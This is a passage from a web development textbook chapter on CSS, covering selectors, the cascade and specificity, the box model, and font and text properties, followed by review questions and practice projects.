Matches any <img> element
whose src attribute
contains somewhere within
it the text “flag“

[$=]
A specific attribute whose
value ends with a specified
value.

a[href$=“.pdf”]

Matches any <a> element
whose href attribute ends
with the text “.pdf“



4.4.5 Pseudo-Element and Pseudo-
Class Selectors
A pseudo-element selector is a way to select something that does not exist
explicitly as an element in the HTML document tree but which is still a
recognizable selectable object. For instance, you can select the first line or
first letter of any HTML element using a pseudo-element selector. A pseudo-
class selector does apply to an HTML element, but targets either a particular
state or, in CSS3, a variety of family relationships. Table 4.5 lists some of the
more common pseudo-class and pseudo-element selectors.

Table 4.5 Common Pseudo-
Class and Pseudo-Element
Selectors

Selector Type Description

a:link
pseudo-
class Selects links that have not been visited.

a:visited
pseudo-
class Selects links that have been visited.

:focus
pseudo-
class

Selects elements (such as text boxes or list
boxes) that have the input focus.

:hover
pseudo-
class

Selects elements that the mouse pointer is
currently above.

:active
pseudo-
class

Selects an element that is being activated by
the user. A typical example is a link that is
being clicked.

:checked
pseudo-
class

Selects a form element that is currently
checked. A typical example might be a radio
button or a check box.



:first-

child

pseudo-
class

Selects an element that is the first child of its
parent. A common use is to provide different
styling to the first element in a list.

:first-

letter

pseudo-
element

Selects the first letter of an element. Useful for
adding drop-caps to a paragraph.

:first-

line

pseudo-
element Selects the first line of an element.

Hands-on Exercises Lab 4
Exercise
Pseudo-selectors

The most common use of this type of selectors is for targeting link states. By
default, the browser displays link text blue and visited text links purple.
Listing 4.8 illustrates the use of pseudo-class selectors to style not only the
visited and unvisited link colors, but also the hover color, which is the color
of the link when the mouse is over the link. Do be aware that this state does
not occur on touch screen devices. Note the syntax of pseudo-class selectors:
the colon (:) followed by the pseudo-class selector name. Do be aware that a
space is not allowed after the colon.

Believe it or not, the order of these pseudo-class elements is important. The
:link and :visited pseudo-classes should appear before the others. Some
developers use a mnemonic to help them remember the order. My favorite is
“Lord Vader, Former Handle Anakin” for Link, Visited, Focus, Hover,
Active.

Listing 4.8 Styling a link using
pseudo-class selectors



<head> 

   <title>Share Your Travels</title> 

   <style> 

       a:link { 

          text-decoration: underline; 

          color: blue; 

       } 

       a:visited { 

          text-decoration: underline; 

          color: purple; 

       } 

       a:hover { 

          text-decoration: none; 

          font-weight: bold; 

       }

       a:active { 

          background-color: yellow; 

       } 

   </style> 

</head> 

<body> 

     <p>Links are an important part of any web page. To learn more about

        links visit the  <a href=“#”>W3C</a> website.</p> 

   <nav> 

     <ul> 

       <li><a href=“#”>Canada</a></li> 

       <li><a href=“#”>Germany</a></li> 

       <li><a href=“#”>United States</a></li> 

     </ul> 

   </nav> 

</body>

Note
Notice the use of the “#” url used in the <a> elements in Listing 4.8. This is a
common practice used by developers when they are first testing a design. The
designer might know that there is a link somewhere, but the precise URL
might still be unknown. In such a case, using the “#” url is helpful: the
browser will recognize them as links, but nothing will happen when they are
clicked. Later, using the source code editor's search functionality will make it
easy to find links that need to be finalized.



4.4.6 Contextual Selectors
A contextual selector (in CSS3 also called combinators) allows you to select
elements based on their ancestors, descendants, or siblings. That is, it selects
elements based on their context or their relation to other elements in the
document tree. While some of these contextual selectors are used relatively
infrequently, almost all web authors find themselves using descendant
selectors.

Hands-on Exercises Lab 4
Exercise
Contextual Selectors

A descendant selector matches all elements that are contained within another
element. The character used to indicate descendant selection is the space
character. Figure 4.7 illustrates the syntax and usage of the syntax of the
descendant selector.

Figure 4.7 Syntax of a
descendant selection



Figure 4.7 Full Alternative Text

Table 4.6 describes the other contextual selectors.

Table 4.6 Contextual Selectors
Selector Matches Example

Descendant

A specified element
that is contained
somewhere within
another specified
element.

div p

Selects a <p> element that is
contained somewhere within a
<div> element. That is, the <p>
can be any descendant, not just
a child.

Child
A specified element
that is a direct child of
the specified element.

div>h2

Selects an <h2> element that is
a child of a <div> element.

Adjacent
sibling

A specified element
that is the next sibling
(i.e., comes directly
after) of the specified
element.

h3+p

Selects the first <p> after any
<h3>.

General
sibling

A specified element
that shares the same
parent as the specified
element.

h3~p

Selects all the <p> elements
that share the same parent as
the <h3>.

Figure 4.8 illustrates some sample uses of a variety of different contextual



selectors.

Figure 4.8 Contextual selectors
in action

Figure 4.8 Full Alternative Text



Note
You can combine contextual selectors with grouped selectors. The comma is
like the logical OR operator. Thus, the grouped selector:

div#main div time, footer ul li { color: red; }

is equivalent to:

div#main div time { color: red; }

footer ul li { color: red; }



4.5 The Cascade: How Styles
Interact
In an earlier Pro Tip in this chapter, it was mentioned that in fact there are
three different types of style sheets: author-created, user-defined, and the
default browser style sheet. As well, it is possible within an author-created
stylesheet to define multiple rules for the same HTML element. For these
reasons, CSS has a system to help the browser determine how to display
elements when different style rules conflict.

Hands-on Exercises Lab 4
Exercise
The CSS Cascade

The “Cascade” in CSS refers to how conflicting rules are handled. The visual
metaphor behind the term cascade is that of a mountain stream progressing
downstream over rocks (and not that of a popular dishwashing detergent).
The downward movement of water down a cascade is meant to be analogous
to how a given style rule will continue to take precedence with child elements
(i.e., elements “below” in a document outline as shown in Figure 4.3 ).

CSS uses the following cascade principles to help it deal with conflicts:
inheritance, specificity, and location.

4.5.1 Inheritance
Inheritance is the first of these cascading principles. Many (but not all) CSS
properties affect not only themselves but their descendants as well. Font,



color, list, and text properties (from Table 4.1) are inheritable; layout, sizing,
border, background, and spacing properties are not.

Figures 4.9 and 4.10 illustrate CSS inheritance. In the first example, only
some of the property rules are inherited from the <body> element. That is,
only the body element (thankfully!) will have a thick green border and the
100-px margin; however, all the text in the other elements in the document
will be in the Arial font and colored red.

Figure 4.9 Inheritance
Figure 4.9 Full Alternative Text



Figure 4.10 More inheritance
Figure 4.10 Full Alternative Text

In the second example in Figure 4.10 , you can assume there is no longer the
body styling but instead we have a single style rule that styles all the <div>
elements. The <p> and <time> elements within the <div> inherit the bold
font-weight property but not the margin or border styles.

However, it is possible to tell elements to inherit properties that are normally
not inheritable, as shown in Figure 4.11 . In comparison to Figure 4.10 ,
notice how the <p> elements nested within the <div> elements now inherit
the border and margins of their parent.



Figure 4.11 Using the inherit
value

Figure 4.11 Full Alternative Text

4.5.2 Specificity
Specificity is how the browser determines which style rule takes precedence
when more than one style rule could be applied to the same element. In CSS,
the more specific the selector, the more it takes precedence (i.e., overrides the
previous definition).

Note



Most CSS designers tend to avoid using the inherit property since it can
usually be replaced with clear and obvious rules. For instance, in Figure 4.11
, the use of inherit can be replaced with the more verbose, but clearer, set of
rules:

div {

  font-weight: bold;

}

p, div {

  margin: 50px;

  border: 1pt solid green;

}

Another way to define specificity is by telling you how it works. The way
that specificity works in the browser is that the browser assigns a weight to
each style rule; when several rules apply, the one with the greatest weight
takes precedence.

In the example shown in Figure 4.12 , the color and font-weight properties
defined in the <body> element are inheritable and thus potentially applicable
to all the child elements contained within it. However, because the <div> and
<p> elements also have the same properties set, they override the value
defined for the <body> element because their selectors (<div> and <p>) are
more specific. As a consequence, their font-weight is normal and their text is
colored either green or magenta.



Figure 4.12 Specificity
Figure 4.12 Full Alternative Text

As you can see in Figure 4.12 , class selectors take precedence over element



selectors, and id selectors take precedence over class selectors. The precise
algorithm the browser is supposed to use to determine specificity is quite
complex.6 A simplified version is shown in Figure 4.13 .





Figure 4.13 Specificity
algorithm

Figure 4.13 Full Alternative Text

4.5.3 Location
Finally, when inheritance and specificity cannot determine style precedence,
the principle of location will be used. The principle of location is that when
rules have the same specificity, then the latest are given more weight. For
instance, an inline style will override one defined in an external author style
sheet or an embedded style sheet. Similarly, an embedded style will override
an equally specific rule defined in an external author style sheet if it appears
after the external sheet's <link> element. Styles defined in external author
style sheet X will override styles in external author style sheet Y if X's
<link> element is after Y's in the HTML document. Similarly, when the
same style property is defined multiple times within a single declaration
block, the last one will take precedence.

Pro Tip
The algorithm that is used to determine specificity of any given element is
defined by the W3C as follows.

First count 1 if the declaration is from a “style” attribute in the HTML, 0
otherwise (let that value = a).

Count the number of ID attributes in the selector (let that value = b).

Count the number of class selectors, attribute selectors, and pseudo-
classes in the selector (let that value = c).



Count the number of element names and pseudo-elements in the selector
(let that value = d).

Finally, concatenate the four numbers a+b+c+d together to calculate the
selector's specificity.

The following sample selectors are given along with their specificity value.

<tag style=“color: red”> 1000

body .example 0011

body .example strong 0012

div#first 0101

div#first .error 0111

#footer .twitter a 0111

#footer .twitter a:hover 0121

body aside#left div#cart strong.price 0214

It should be noted that in general you don't really need to know the specificity
algorithm in order to work with CSS. However, knowing it can be invaluable
when one is trying to debug a CSS problem. During such a time, you might
find yourself asking the question, “Why isn't my CSS rule doing anything?
Why is the browser ignoring it?” Quite often the answer to that question is
that a rule with a higher specificity is taking precedence.



Figure 4.14 illustrates how location affects precedence. Can you guess what
will be the color of the sample text in Figure 4.14 ?

Figure 4.14 Location
Figure 4.14 Full Alternative Text

The answer to the question is: The color of the sample text in Figure 4.14 will
be red. What would be the color of the sample text if there wasn't an inline
style definition?

It would be magenta.



Pro Tip
There is one exception to the principle of location. If a property is marked
with !important (which does not mean NOT important, but instead means
VERY important) in an author-created style rule, then it will override any
other author-created style regardless of its location. The only exception is a
style marked with !important in a user style sheet: such a rule will override
all others. Of course very few users know how to do this, so it is a pretty
uncommon scenario.



4.6 The Box Model
In CSS, all HTML elements exist within an element box shown in Figure
4.15 . In order to become proficient with CSS, you must become familiar
with the element box.



Figure 4.15 CSS box model



Figure 4.15 Full Alternative Text

4.6.1 Background
As can be seen in Figure 4.15 , the background color or image of an element
fills an element out to its border (if it has one, that is). In contemporary web
design, it has become extremely common to use CSS to display purely
presentational images (such as background gradients and patterns, decorative
images, etc.) rather than using the <img> element. Table 4.7 lists the most
common background properties.

Table 4.7 Common
Background Properties

Property Description

background

A combined shorthand property that allows you to
set multiple background values in one property.
While you can omit properties with the shorthand, do
remember that any omitted properties will be set to
their default value.

background-

attachment

Specifies whether the background image scrolls with
the document (default) or remains fixed. Possible
values are: fixed, scroll.

background-

color

Sets the background color of the element. You can
use any of the techniques shown in Table 4.2 for
specifying the color.

background-

image

Specifies the background image (which is generally
a jpeg, gif, or png file) for the element. Note that the
URL is relative to the CSS file and not the HTML.
CSS3 introduced the ability to specify multiple
background images.
Specifies where on the element the background



background-

position

image will be placed. Some possible values include:
bottom, center, left, and right. You can also
supply a pixel or percentage numeric position value
as well. When supplying a numeric value, you must
supply a horizontal/vertical pair; this value indicates
its distance from the top left corner of the element, as
shown in Figure 4.16 .

background-

repeat

Determines whether the background image will be
repeated. This is a common technique for creating a
tiled background (it is in fact the default behavior),
as shown in Figure 4.17 . Possible values are:
repeat, repeat-x, repeat-y, and no-repeat.

background-

size

New to CSS3, this property lets you modify the size
of the background image.



Figure 4.16 Background repeat
Figure 4.16 Full Alternative Text

Figure 4.17 Background
position

Figure 4.17 Full Alternative Text

Hands-on Exercises Lab 4
Exercise
Background Style



4.6.2 Borders
Borders provide a way to visually separate elements. You can put borders
around all four sides of an element, or just one, two, or three of the sides.
Table 4.8 lists the various border properties.

Table 4.8 Border Properties
Property Description

border

A combined shorthand property that allows you to set
the style, width, and color of a border in one property.
The order is important and must be:

border-style border-width border-color

border-

style

Specifies the line type of the border. Possible values are:

solid, dotted, dashed, double, groove, ridge,

inset, and outset.

border-

width

The width of the border in a unit (but not percents). A
variety of keywords (thin, medium, etc.) are also
supported.

border-

color
The color of the border in a color unit.

border-

radius
The radius of a rounded corner.

border-

image
The URL of an image to use as a border.

Border widths are perhaps the one exception to the general advice against
using the pixel measure. Using em units or percentages for border widths can



result in unpredictable widths as the different browsers use different
algorithms (some round up, some round down) as the zoom level increases or
decreases. For this reason, border widths are almost always set to pixel units.

4.6.3 Margins and Padding
Margins and padding are essential properties for adding white space to a web
page, which can help differentiate one element from another. Figure 4.18
illustrates how these two properties can be used to provide spacing and
element differentiation.



Figure 4.18 Borders, margins,



and padding provide element
spacing and differentiation

Figure 4.18 Full Alternative Text
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Exercise
Borders, Margins, and Padding

As you can see in Figures 4.15 and 4.18, margins add spacing around an
element's content, while padding adds spacing within elements. Borders
divide the margin area from the padding area.

There is a very important thing to notice about the margins in Figure 4.18 .
Did you notice that the space between paragraphs one and two and between
two and three is the same as the space before paragraph one and after
paragraph three? This is due to the fact that adjoining vertical margins
collapse.

Figure 4.19 illustrates how adjoining vertical margins collapse in the
browser. If overlapping margins did not collapse, then margin space for 
would be 180 px (90 px for the bottom margin of the first <div> + 90 px for
the top margin of the second <div>), while the margins for  and  would
be 100 px. However, as you can see in Figure 4.19 , this is not the case.



Figure 4.19 Collapsing vertical
margins

Figure 4.19 Full Alternative Text

The W3C specification defines this behavior as collapsing margins:

In CSS, the adjoining margins of two or more boxes (which might or
might not be siblings) can combine to form a single margin. Margins
that combine this way are said to collapse, and the resulting combined
margin is called a collapsed margin.

What this means is that when the vertical margins of two elements touch,
only the largest margin value of the elements will be displayed, while the
smaller margin value will be collapsed to zero. Horizontal margins, on the
other hand, never collapse.



To complicate matters even further, there are a large number of special cases
in which adjoining vertical margins do not collapse (see the W3C
Specification for more detail).

From our experience, collapsing (or not collapsing) margins are one of the
main problems (or frustrations) that our students face when working with
CSS.

4.6.4 Box Dimensions
Box dimensions (i.e., the width and height properties) also frequently
trouble new CSS authors. Why is this the case?

Note
With border, margin, and padding properties, it is possible to set the
properties for one or more sides of the element box in a single property, or to
set them individually using separate properties. For instance, we can set the
side properties individually:

border-top-color: red;             /* sets just the top side */

border-right-color: green;         /* sets just the right side */

border-bottom-color: yellow;       /* sets just the bottom side */

border-left-color: blue;           /* sets just the left side */

Alternately, we can set all four sides to a single value via:

border-color: red;    /* sets all four sides to red */

Or we can set all four sides to different values via:

border-color: red green orange blue;

When using this multiple values shortcut, they are applied in clockwise order
starting at the top. Thus the order is: top right bottom left as shown in Figure
4.20 . The mnemonic TRouBLe might help you memorize this order.



Figure 4.20 CSS TRBL
(Trouble) shortcut

Figure 4.20 Full Alternative Text

Another shortcut is to use just two values; in this case the first value sets top
and bottom, while the second sets the right and left.

border-color: red yellow;    /* top+bottom=red, right+left=yellow *

One reason is that only block-level elements and nontext inline elements such
as images have a width and height that you can specify. By default (in CSS
this is the auto value), the width of and height of elements is the actual size
of the content. For text, this is determined by the font size and font face; for
images, the width and height of the actual image in pixels.

Since the width and the height only refer to the size of the content area, the
total size of an element is equal to the size of its content area plus the sum of
its padding, borders, and margins. This is something that tends to give
beginning CSS students trouble. Figure 4.21 illustrates the default content-
box element sizing behavior. It also shows the newer alternative border-box
approach, which is perhaps more intuitive, but which requires vendor
prefixes for it to work on all recent browsers.





Figure 4.21 Calculating an
element's true size

Figure 4.21 Full Alternative Text

For block-level elements such as <p> and <div> elements, there are limits to
what the width and height properties can actually do. You can shrink the
width, but the content still needs to be displayed, so the browser may very
well ignore the height that you set. As you can see in Figure 4.22 , the default
width is the browser viewport. But in the second screen capture in the image,
with the changed width and height, there is not enough space for the browser
to display all the content within the element. So while the browser will
display a background color of 200×100 px (i.e., the size of the element as set
by the width and height properties), the height of the actual textual content
is much larger (depending on the font size).

Figure 4.22 Limitations of



height property
Figure 4.22 Full Alternative Text

It is possible to control what happens with the content if the box's width and
height are not large enough to display the content using the overflow
property, as shown in Figure 4.23 .

Figure 4.23 Overflow property
Figure 4.23 Full Alternative Text

While the example CSS in Figure 4.22 uses pixels for its measurement, many
contemporary designers prefer to use percentages or em units for widths and
heights. When you use percentages, the size is relative to the size of the
parent element, while using ems makes the size of the box relative to the size



of the text within it. The rationale behind using these relative measures is to
make one's design scalable to the size of the browser or device that is viewing
it. Figure 4.24 illustrates how percentages will make elements respond to the
current size of the browser.





Figure 4.24 Box sizing via
percents

Figure 4.24 Full Alternative Text

One of the problems with using percentages as the unit for sizes is that as the
browser window shrinks too small or expands too large (for instance, on a
wide-screen monitor), elements might become too small or too large. You
can put absolute pixel constraints on the minimum and maximum sizes via
the min-width, min-height, max-width, and max-height properties.

Dive Deeper
Vendor prefixes are a way for browser manufacturers to add new CSS
properties that might not be part of the formal CSS specification. The prefix
for Chrome and Safari is -webkit-, for Firefox it is -moz-, for Internet
Explorer it is -ms-, and for Opera -o-. Microsoft Edge does not define its own
vendor prefix, but for compatibility reasons, it supports the -webkit prefix.
Thus, to set the box-sizing property to border-box, we would have to write
something like this:

-webkit-box-sizing: border-box;

-moz-box-sizing: border-box;

/* Opera and IE support this property without prefix */ 

box-sizing: border-box;

There is currently a fair degree of controversy about vendor prefixes. On the
one hand, they let web authors take advantage of a single browser's support
for a new CSS feature (whether part of the W3C standard or not) without
waiting for it to become standard across all browsers. But on the other hand,
the proliferation of vendor prefixes has made contemporary CSS files
significantly more complicated.



More seriously, there has been a great deal of concern in the browser
community that many developers are only adding webkit vendor prefixes; as
a consequence, a site on Chrome and Safari (i.e., the main webkit browsers)
may look better than competing browsers.

In the spring of 2012, developers at Mozilla and Microsoft announced that
their browsers were going to support the -webkit- prefix. This had many
developers worried that over time Google and not the W3C, would turn into
the de facto CSS standard maker moving forward. Happily, more recently,
developers at Google and FireFox are endeavoring to fade prefixes away.
Instead of making new “experimental” features available via vendor prefixes,
moving forward, browsers will instead only make such new features available
if the user enables the experimental features flag.

Pro Tip
Developer tools in current browsers make it significantly easier to examine
and troubleshoot CSS than was the case a decade ago. Figure 4.25 illustrates
how you can use the various browsers' CSS inspection tools to examine, for
instance, the box values for a selected element.



Figure 4.25 Inspecting CSS
using developer tools within
modern browsers

Figure 4.25 Full Alternative Text

Another way to experiment and learn CSS is to use an online CSS
“playground,” such as cssdesk.com or codepen.io. These sites allow you to
type in CSS and see its effect immediately.

http://codepen.io


4.7 CSS Text Styling
CSS provides two types of properties that affect text. The first we call font
properties because they affect the font and its appearance. The second type of
CSS text properties are referred to here as paragraph properties since they
affect the text in a similar way no matter which font is being used.

Many of the most common font properties as shown in Table 4.9 will at first
glance be familiar to anyone who has used a word processor. There are,
however, a range of interesting potential problems when working with fonts
on the web (as compared to a word processor).

Table 4.9 Font Properties
Property Description

font

A combined shorthand property that allows you to set
the family, style, size, variant, and weight in one
property. While you do not have to specify each
property, you must include at a minimum the font size
and font family. In addition, the order is important and
must be:

style weight variant size font-family

font-

family

Specifies the typeface/font (or generic font family) to
use. More than one can be specified.

font-

size
The size of the font in one of the measurement units.

font-

style

Specifies whether italic, oblique (i.e., skewed by the
browser rather than a true italic), or normal.

font-

variant

Specifies either small-caps text or none (i.e., regular
text).



font-

weight

Specifies either normal, bold, bolder, lighter, or a
value between 100 and 900 in multiples of 100, where
larger number represents weightier (i.e., bolder) text.

4.7.1 Font Family
The first of these problems involves specifying the font family. A word
processor on a desktop machine can make use of any font that is installed on
the computer; browsers are no different. However, just because a given font
is available on the web developer's computer, it does not mean that that same
font will be available for all users who view the site. For this reason, it is
conventional to supply a so-called web font stack, that is, a series of alternate
fonts to use in case the original font choice is not on the user's computer. As
you can see in Figure 4.26 , the alternatives are separated by commas; as
well, if the font name has multiple words, then the entire name must be
enclosed in quotes.

Figure 4.26 Specifying the font
family

Figure 4.26 Full Alternative Text



Hands-on Exercises Lab 4
Exercise
CSS Fonts

Notice the final generic font family choice in Figure 4.26 . The font-family
property supports five different generic families; the browser supports a
typeface from each family. The different generic font families are shown in
Figure 4.27 .

Figure 4.27 The different font
families

Figure 4.27 Full Alternative Text

While there is no real limit to the number of fonts that one can specify with



the font-family property, in practice, most developers will typically choose
three or four stylistically similar fonts.

One common approach is to make your font stack contain, in this order, the
following: ideal, alternative, common, and then generic. Take for instance,
the following font stack:

font-family { “Hoefler Text”, Cambria, “Times New Roman”, serif; }

You might love the appearance of Hoefler Text, which is installed on most
Macs, so it is your ideal choice for your site; however, it is not installed on
very many PCs or Android devices. Cambria is on most PC and Mac
computers and is your alternative choice. Times New Roman is installed on
almost all PCs and Macs so it is a safe common choice; but because you
would prefer Cambria to be used instead of Times New Roman, you placed
Cambria first. Finally, Android or Blackberry users might not have any of
these fonts, so you finished the font stack with the generic serif since all your
other choices are all serif fonts.

Websites such as http://cssfontstack.com/ can provide you with information
about how prevalent a given font is on PC and Windows computers, so you
can see how likely it is that ideal font is even installed.

Another factor to think about when putting together a font stack is the x-
height (i.e., the height of the lowercase letters, which is generally correlated
to the width of the characters) of the different typefaces, as that will have the
most impact on things such as characters per line and hence word flow.

4.7.2 Font Sizes
Another potential problem with web fonts is font sizes. In a print-based
program such as a word processor, specifying a font size is unproblematic.
Making some text 12 pt will mean that the font's bounding box (which in turn
is roughly the size of its characters) will be 1/6 of an inch tall when printed,
while making it 72 pt will make it roughly one inch tall when printed.
However, as we saw in Section 4.2.3, absolute units such as points and inches
do not translate very well to pixel-based devices. Somewhat surprisingly,

http://cssfontstack.com/


pixels are also a problematic unit. Newer mobile devices in recent years have
been increasing pixel densities so that a given CSS pixel does not correlate to
a single device pixel.

Hands-on Exercises Lab 4
Exercise
CSS Font Sizes

So while sizing with pixels provides precise control, if we wish to create web
layouts that work well on different devices, we should learn to use relative
units such as em units or percentages for our font sizes (and indeed for other
sizes in CSS as well). One of the principles of the web is that the user should
be able to change the size of the text if he or she so wishes to do so; using
percentages or em units ensures that this user action will “work,” and not
break the page layout.

When used to specify a font size, both em units and percentages are relative
to the parent's font size. This takes some getting used to. Figure 4.28
illustrates a common set of percentages and their em equivalents to scale
elements relative to the default 16-px font size.



Figure 4.28 Using percents and
em units for font sizes

Figure 4.28 Full Alternative Text

While this looks pretty easy to master, things unfortunately can quickly
become quite complicated. Remember that percents and em units are relative
to their parents. Figure 4.29 illustrates how in reality it can quickly become
difficult to calculate actual sizes when there are nested elements. As you can
see in the second screen capture in Figure 4.29 , changing the <article>
element's size changes the size of the <p> and <h1> elements within it,
thereby falsifying their claims to be 16 and 32 px in size!



Figure 4.29 Complications in
calculating percents and em
units



Figure 4.29 Full Alternative Text

For this reason, CSS3 now supports a new relative measure, the rem (for root
em unit). This unit is always relative to the size of the root element (i.e., the
<html> element). However, since early versions of Internet Explorer (prior to
IE9) do not support the rem units, you need to provide some type of fallback
for those browsers, as shown in Figure 4.30 . To muddy the picture even
more, some developers have begun to advocate again for using the pixel as
the unit of measure in CSS. Why? Because modern browsers provide built-in
scaling/zooming that preserve layout regardless of whether the CSS is using
pixels, ems, or rems.

Figure 4.30 Using rem units
Figure 4.30 Full Alternative Text

Dive Deeper
Over the past few years, the most recent browser versions have begun to
support the @font-face selector in CSS. This selector allows you to use a
font on your site even if it is not installed on the end user's computer. While
@font-face has been part of CSS for quite some time, the main stumbling



block has been licensing. Fonts are like software in that they are licensed and
protected forms of intellectual property.

Due to the ongoing popularity of open source font sites such as Google Web
Fonts (https://fonts.google.com) and Font Squirrel (http://
www.fontsquirrel.com/), @font-face seems to have gained a critical mass of
widespread usage.

The following example illustrates how to use Droid Sans (a system font also
used by Android devices) from Google Web Fonts using @font-face.

@font-face {

  font-family: “Droid Sans”;

  font-style: normal;

  font-weight: 400;

  src: local(“Droid Sans”), local(“DroidSans”),

    url(http://themes.googleusercontent.com/static/fonts/droidsans/v3/

        s-BiyweUPV0v-yRb-cjciBsxEYwM7FgeyaSgU71cLG0.woff)

         format(‘woff’);

}

/* now can use this font */

body { font-family: “Droid Sans”, “Arial”, sans-serif; }

It should be noted that most developers use a much simpler approach than the
@font-face technique shown earlier. Instead of using font-face, an easier
alternative is to simply link or import the font. For instance, you can add the
following to your <head> section to use the Droid Sans font.

<link href=“https://fonts.googleapis.com/css?family=Droid+Sans” rel=“stylesheet” type=“text/css”>

An alternative to linking would be to add the following import inside one of
your CSS files:

@import url(https://fonts.googleapis.com/css?family=Droid+Sans);

The Google Fonts (see Figure 4.31 ) website provides an easy way to search
for fonts by different criteria; once you have found the font you want to use,
the site provides you with the preconstructed <link> element tag that you can
copy and then paste into your HTML file.

https://fonts.google.com
http://www.fontsquirrel.com/


Figure 4.31 Using Google Fonts
Figure 4.31 Full Alternative Text

4.7.3 Paragraph Properties
Just as there are properties that affect the font in CSS, there are also a range
of CSS properties that affect text independently of the font. Many of the most
common text properties are shown in Table 4.10, and like the earlier font
properties, many of these will be familiar to anyone who has used a word



processor.

Table 4.10 Text Properties
Property Description

letter-

spacing

Adjusts the space between letters. Can be the value
normal or a length unit.

line-

height

Specifies the space between baselines (equivalent to
leading in a desktop publishing program). The default
value is normal, but can be set to any length unit. Can
also be set via the shorthand font property.

list-

style-

image

Specifies the URL of an image to use as the marker
for unordered lists.

list-

style-type

Selects the marker type to use for ordered and
unordered lists. Often set to none to remove markers
when the list is a navigational menu or a input form.

text-align

Aligns the text horizontally in a container element in a
similar way as a word processor. Possible values are
left, right, center, and justify.

text-

decoration

Specifies whether the text will have lines below,
through, or over it. Possible values are: none,
underline, overline, line-through, and blink.
Hyperlinks by default have this property set to
underline.

text-

direction

Specifies the direction of the text, left-to-right (ltr) or
right-to-left (rtl).

text-

indent

Indents the first line of a paragraph by a specific
amount.

text-

shadow

A new CSS3 property that can be used to add a drop
shadow to a text.

text-

transform

Changes the capitalization of text. Possible values are
none, capitalize, lowercase, and uppercase.

vertical- Aligns the text vertically in a container element. Most



align common values are: top, bottom, and middle.
word-

spacing

Adjusts the space between words. Can be the value
normal or a length unit.

Hands-on Exercises Lab 4
Exercise
CSS Paragraphs

One of the interesting new text properties in CSS3 is the text-shadow
property. As you can see in Figure 4.32 , the property takes four values: the x
and y offset in pixels, the size of the shadow's blur, and the color of the
shadow. The figure also illustrates the related box-shadow property, which
uses the same order of values as text-shadow.



Figure 4.32 The shadow
properties

Figure 4.32 Full Alternative Text



4.8 Chapter Summary
Cascading Style Sheets are a vital component of any modern website. This
chapter provided a detailed overview of most of the major features of CSS.
While we still have yet to learn how to use CSS to create layout (which is
relatively complicated and is the focus of Chapter 7), this chapter has covered
a large percentage of the CSS that most web programmers will need to learn.

4.8.1 Key Terms
absolute units

attribute selector

author-created style sheets

box model

browser style sheets

cascade

class selector

collapsing margins

combinators

contextual selector

CSS

CSS3 modules

declaration



declaration block

descendant selector

element box

element selectors

em units

embedded style sheets

external style sheets

generic font

grouped selector

id selector

inheritance

inline styles

internal styles

location

margin

padding

percentages

presentation

property:value pair

pseudo-class selector



pseudo-element selector

relative units

rem units

responsive design

selector

specificity

style rules

TRouBLe

universal element selector

user style sheets

vendor prefixes

web font stack

x-height

4.8.2 Review Questions
1. 1. What are the main benefits of using CSS?

2. 2. Compare the approach the W3C has used with CSS3 in comparison to
CSS2.1.

3. 3. What are the different parts of a CSS style rule?

4. 4. What is the difference between a relative and an absolute measure
unit in CSS? Why are relative units preferred over absolute units in
CSS?



5. 5. What is an element selector and a grouped element selector? Provide
an example of each.

6. 6. What are class selectors? What are id selectors? Briefly discuss why
you would use one over the other.

7. 7. What are contextual selectors? Identify the four different contextual
selectors.

8. 8. What are pseudo-class selectors? What are they commonly used for?

9. 9. What does cascade in CSS refer to?

10. 10. What are the three cascade principles used by browsers when style
rules conflict? Briefly describe each.

11. 11. Illustrate the CSS box model. Be sure to label each of the
components of the box.

12. 12. What is a web font stack? Why are they necessary?

4.8.3 Hands-On Practice

Project 1: Share Your Travel
Photos

Difficulty Level: Beginner

Overview
This project updates your existing project from Chapter 3 to add some visual
stylistic improvements with CSS. Reminder: this (and the other chapter



projects) are not meant to be step-by-step tutorials (the separate hands-on
exercises available from Pearson using the code at the front of the book
perform that function). Rather they are meant as self-guided practice
exercises for you to apply and assess your knowledge of the chapter's content.

Hands-on Exercises
Project 4.1

Instructions
1. Use your chapter03-project01.html file from the last chapter as a starting

point but save it as chapter04-project01.html.

2. Create an external style sheet called reset.css that removes all the
browser formatting from the main HTML elements and reference inside
chapter04-project04.html as follows:

html, body, header, footer, main, nav, article, section, figure, figcaption, h1, h2, h3, ul, li, body, div, p, img

{

   margin:  0; 

   padding:  0; 

   font-size:  100%;

   vertical-align:  baseline;

   border:  0;

}

3. Create another external style sheet named chapter04-project01.css and
link to it in your HTML file.

4. Add styles to chapter04-project01.css so that it looks similar to that
shown in Figure 4.33 . Do not modify the markup within the <body>
element.



Figure 4.33 Completed
Project 1

Figure 4.33 Full Alternative Text



Be sure to group your style rules together in appropriate commented sections
and to make your sizes scalable (i.e., try to avoid using pixels for font sizes,
padding, or margins).

Here's a hint for the header and footer.

header, footer {

  color:  white;

  background-color: #1A237E;

  margin:  0em 4em 0.25em 4em;

}

Testing
1. Although an exact match is not required, see how closely you can make

your page look like the one in Figure 4.33 . Be sure to test in multiple
browsers and at different browser widths.



Project 2: Book Rep Customer
Relations Management

Difficulty Level: Intermediate

Overview
This project updates the CRM HTML page you started in Project 2.2 to add
some visual style and make it look professional.

Hands-on Exercises
Project 4.2

Instructions
1. Use your chapter03-project02.html file from the last chapter as a starting

point (and rename it) or use our chapter04-project02.html starting point
file.

2. Use the reset.css from Project 1 to reset all default styles.

3. Create an external style sheet named chapter04-project02.css.

4. Add styles to chapter04-project02.css so that it looks similar to that
shown in Figure 4.34 . Do not modify the markup within the <body>
element. This means defining styles for the header, footer, section, and
other tags.



Figure 4.34 Completed
Project 2

Figure 4.34 Full Alternative Text



Hint: Use attribute selectors for the mail and telephone link icons as shown
here:

a[href^=“mailto”] {

   background:  url(images/email.png) no-repeat 0 3px;

   padding-left:  1em;

}

a[href^=“tel”] {

   background:  url(images/call.png) no-repeat 0 3px;

   padding-left:  1em;

}

Testing
1. Visually compare your output to that shown in Figure 4.34 .

Project 3: Art Store

Difficulty Level: Advanced

Overview
This project builds on the art store example from the previous chapter
(Project 2.3), but purposefully leaves you having to dig a little deeper into
CSS.

Hands-on Exercises
Project 4.3



Instructions
1. You have been provided with the markup for a file named chapter04-

project03.html. Remove all default styles via a reset.css stylesheet, as
done for the previous two projects.

2. Define the relevant CSS styles so that your output looks similar to that
shown in Figure 4.35 . Do not modify the markup within the <body>
element.



Figure 4.35 Completed
Project 3

Figure 4.35 Full Alternative Text

3. You will have to use a CSS3 feature that will require some research on
your own. The background-size property can be used to force a
background image to resize to the width of the browser window.

4. Notice that two of the blocks in Figure 4.35 are partially transparent.
